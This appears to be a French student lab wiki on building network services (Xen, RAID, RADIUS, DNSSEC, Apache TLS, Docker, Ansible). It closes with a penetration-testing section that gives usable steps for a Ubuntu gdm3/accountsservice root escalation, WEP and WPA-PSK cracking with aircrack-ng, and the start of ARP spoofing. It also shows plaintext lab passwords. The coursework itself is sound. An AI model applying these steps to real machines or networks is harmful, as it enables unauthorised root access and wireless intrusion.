lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
mount -a
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

fdisk -l # on repère la clé USB
fdisk /dev/sdb # on formate la clé en une seule partition
cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

mkdir /mnt/USB
mount -t ext4 /dev/mapper/myusbkey /mnt/USB
touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

umount /mnt/USB
cryptsetup luksClose myusbkey

==Sécurisation WiFi par WPA2-EAP ==

===FreeRADIUS===

Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.

On installe le paquet :
apt install freeradius

Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :

client 10.60.100.10/24 {
shortname = Piedbleu
secret = pasglop
}

On ajoute un utilisateur FreeRADIUS "pifou" dans le fichier de configuration /etc/freeradius/3.0/users :

pifou Cleartext-Password := "pasglop"

Pour finir, on configure l'authentification PEAP-MSCHAPv2.

On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :

eap{
...
default_eap_type = peap
...
}

Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap :

use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

===Point d'accès WiFi===

Ensuite, on configure le point d'accès WiFi.

ssh root@10.60.100.10 -c aes128-cbc

aaa authentication login eap_group1 group radius_group8
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop
aaa group server radius radius_group8
server 193.48.57.181 auth-port 1812 acct-port 1813
exit

Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 :

dot11 ssid Piedbleu
vlan 308
authentication open eap eap_group8
authentication network-eap eap_group8
authentication key-management wpa
Mbssid Guest-mode
exit

Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption:

interface Dot11Radio0
Mbssid
encryption vlan 308 mode ciphers aes-ccm tkip
ssid Piedbleu
exit

Encapsulation:

int dot11radio0.8
encapsulation dot1q 308
bridge-group 8
exit
int Gi0.8
encapsulation dot1q 308
bridge-group 8
exit

En n'oubliant pas de démarrer l'interface :

int dot11radio0
no shutdown
end
write

Ping du point d'accès vers notre VM :

[[Fichier:Freeradius-ping.png|600px]]

On observe notre SSID "Piedbleu" :

[[Fichier:Freeradius-ssid.png|600px]]

On s'y connecte avec notre téléphone tout en lançant la commande :

freeradius -X

===DHCP===

'''6509E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.1
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.99
ip dhcp excluded-address 10.60.108.150 10.60.108.255
write
exit
sh ip dhcp binding

'''C9200'''

ssh admin@10.60.100.2

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.2
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.49
ip dhcp excluded-address 10.60.108.100 10.60.108.255
exit
write
sh ip dhcp binding

===Mascarade===

'''6509E'''

int vlan 308
ip nat inside

access-list 108 permit ip 10.60.108.0 0.0.0.255 any
ip nat inside source list 108 interface Loopback0 overload

=Ferme de serveurs Web=

==Architecture générale de la ferme==

'''Configuration VM Capbreton'''

Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau :

vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',
'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',
]

On redémarre ensuite la VM.

Dans /etc/network/interfaces, on configure notre nouvelle interface :

auto eth1
iface eth1 inet static
address 192.168.42.8
netmask 255.255.255.0

Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

'''Configuration VM Chassiron'''

Dans /etc/network/interfaces, on configure notre interface :

auto eth0
iface eth0 inet static
address 192.168.42.22
netmask 255.255.255.0
gateway 192.168.42.8

Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

Puis on modifie le fichier /etc/resolv.conf :

domain plil.info
nameserver 192.168.42.8

'''Mascarade'''

On modifie le fichier /etc/systcl.conf :

net.ipv4.ip_forward=1

Ensuite, on lance les commandes :

apt install iptables-persistent

echo 1 > /proc/sys/net/ipv4/conf/all/forwarding

iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32
iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32
iptables -P FORWARD DROP
iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32

Pour tester :

ping 192.168.42.22 #sur la VM capreton
ping 192.168.42.8 #sur la VM chassiron
ping 8.8.8.8 #sur la VM chassiron
apt update #sur la VM chassiron

'''Clés SSH'''

On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x "entrée") :

ssh-keygen -b 2048

Ensuite, on propage notre clé publique sur toutes les VM secondaires :

for i in $(cat liste_ip.txt); do echo ssh-copy-id root@"$i"; done

Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.

Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :

PermitRootLogin yes

dans le fichier /etc/ssh/sshd_config.

'''Installation d'Ansible'''

Nous passons à la configuration de nos serveurs Web. Nous utilisons pour cela le système ansible.
Nous commençons par installer ansible sur notre VM principale :
apt install ansible

Dans le fichier /etc/ansible/hosts, nous créons un inventaire en séparant l’ensemble des serveurs externes du notre :

[vmperso]
192.168.42.22

[vmchassiron]
192.168.42.15
192.168.42.17
192.168.42.20
192.168.42.24
192.168.42.25
192.168.42.28

'''Ansible rôle MOTD'''

Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.

Tout d'abord, nous téléchargeons le rôle :

ansible-galaxy install adriagalin.motd

Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron. Voici notre playbook (/etc/ansible/playbook.yml) :

Hosts : vmperso
Roles:
-{ role : adriagalin.motd }

Nous exécutons ensuite notre playbook.yml :

ansible-playbook playbook.yml

Nous obtenir le résultat voulu dans le fichier /etc/motd de notre vm située sur chassiron :

[[Fichier:host.png | 600px]]

'''Ansible rôle NTP'''

==Installation de Docker==

Le but de cette partie est d’installer docker sur notre vm secondaire. Nous nous basons sur la documentation de geerlingguy. Après avoir télécharger les fichiers correspondants :

ansible-galaxy install geerlingguy.docker

Nous modifions notre playbook.yml en redéfinissant les variables docker_apt_gpg_key et docker_apt_repository :

[[Fichier:Play_docker-2.png | 600px ]]

Nous relançons playboot.yml, l'installations se déroule correctement sur notre VM secondaire.

D'un autre côté on installe docker sur notre VM principale, en lançant les commandes suivantes :

apt install software-properties-common apt-transport-https ca-certificates curl gnupg2*

curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -

add-apt-repository \
"deb [arch=amd64] https://download.docker.com/linux/debian \
$(lsb_release -cs) \
stable"

apt install docker-ce docker-ce-cli containerd.io

==Création du conteneur==

Tout d'abord, dans notre VM principale, on fait le Dockerfile suivant (/root/docker/Dockerfile) :

FROM httpd:latest

COPY ./index.html /usr/local/apache2/htdocs/

CMD [ "httpd", "-D", "FOREGROUND" ]

On vérifie que tout est ok sur notre VM principale :

docker build -t webserver .
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
webserver latest 892a7b9ac079 20 seconds ago 138MB

docker run -d webserver
docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS
65f1bae129fe webserver "httpd -D FOREGROUND" 50 seconds ago Up 45 seconds 80/tcp

On voit que notre conteneur, qui intègrer tous les fichiers de notre site Web, a démarré apache2 automatiquement sur le port HTTP 80 classique.

Ensuite, on installe un dépôt docker local (Docker Registry) sur notre machine secondaire via la commande :

docker run -d -p 5000:5000 --restart always --name registry registry:2

Pour exporter notre image "webserver" sur le dépôt local, depuis notre VM principale on lance la commande suviante :

docker tag webserver 192.168.42.22:5000/webserver
docker push 192.168.42.22:5000/webserver

Pour récupérer cette image sur les VM secondaires, on fera (sur chassiron) :

docker pull 192.168.42.22:5000/webserver

Pour autoriser les connexions http pour les push/pull, on ajoute sur les deux VM le fichier de configuration suivant (/etc/docker/daemon.json) :

{
"insecure-registries" : ["192.168.42.15:5000", "192.168.42.16:5000", "192.168.42.17:5000", "192.168.42.18:5000", "192.168.42.19:5000", "192.168.42.20:5000", "192.168.42.21:5000", "192.168.42.22:5000", "192.168.42.23:5000", "192.168.42.24:5000", "192.168.42.25:5000", "192.168.42.26:5000", "192.168.42.28:5000"]
}

Pour installer Docker Registry sur notre VM secondaire (et donc pour pouvoir faire docker pull), on utilisera ansible.

'''utiliser le bon rôle, d'après le sujet de tp on doit utiliser "ansible docker_container"'''

==Configuration des serveurs internes==

==Equilibreur de charge==

TP sysres IMA5sc 2020/2021 G8

2020-12-17T16:30:14Z

Jsoulaim : /* Installation d'Ansible */

=Informations générales=

{| class="wikitable"
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6
|-
| https://www.piedbleu.site
| 193.48.57.181
| 100.64.0.21
| 308
| 10.60.108.0/24
| 10.60.108.1
| 10.60.108.2
| 10.60.108.254
| 2001:660:4401:60ba::0/64
|}

=Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :

xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :

xl create -c /etc/xen/piedbleu.cfg

Par la suite, pour accéder à la VM, on fera :

xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a

puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=Interconnexion de VLAN=

==Configuration IPv4==

Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.

'''Routeur C9200'''

Nous nous connectons en ssh à partir de notre VM:
ssh admin@10.60.100.2

ensuite :
int vlan 308
vrrp 48 address-family ipv4
address 10.60.108.254
preempt
vrrpv2
end
write

On quitte avec exit et on sauvegarde avec write.

La commande show vlan nous affiche bien notre VLAN configuré.

'''Routeur 6509-E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

int vlan 308
vrrp 48 ip 10.60.108.254
vrrp 48 preempt
vrrp 48 priority 110
end
write

On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.

==Configuration IPv6==

'''Routeur 6509-E'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference High
end
write

'''Routeur C9200'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference Low
end
write

=Services Internet=
==Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, on fait un ssh sur les 2 routeurs, puis:

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

ping google.fr

==Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

service ssh start

Puis sur un autre terminal, on fait un :

ssh root@193.48.57.181

==Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

'''1ère étape: '''

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).

'''2ème étape:'''
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).

'''3ème étape:'''
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

Résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

==Sécurisation de site web par certificat==

Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix (configuration : "Internet Site", nom du site " piedbleu.site").

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce répertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>
<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None
</VirtualHost>

La commande :
apachect1 configtest
nous indique bien que la syntaxe est correcte.

Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

==Sécurisation du serveur DNS par DNSSEC==

Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:
dnssec-enable yes

Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.

Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site

Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site

Nous renommons les deux paires de clefs obtenues de la manière suivante:
Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key
Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private
Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key
Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private

Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:

$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key
$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key

Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.

On signe ensuite les enregistrements de la zone :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :

zone "piedbleu.site" IN {
type master;
file "/etc/bind/db.piedbleu.site.signed";
allow-transfer { 217.70.177.40; };
};

La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.

service bind9 restart

Vérification:

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/

[[Fichier:dnssec1.png | 600px]]

L'utilisation de la commande :
dnssec-verify -o piedbleu.site db.piedbleu.site.signed

nous donne le résultat suivant:
Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked

==IPv6==

Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site

ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c
www IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c

Ensuite, on resigne le DNS :

dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Et on redémarre bind9.

=Tests d’intrusion=

==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

sudo adduser u1
su u1
id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes.

nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine !

whoami
pwn
id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles :

airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

airmon-ng start wlp1s0mon

On peut ensuite lancer le scan des réseaux wifi environnants :

airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé (message « Key Found »).

==Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID.

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:

airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):

crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par force brute avec la commande suivante :

aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap

Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-6.png|600px]]

==Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

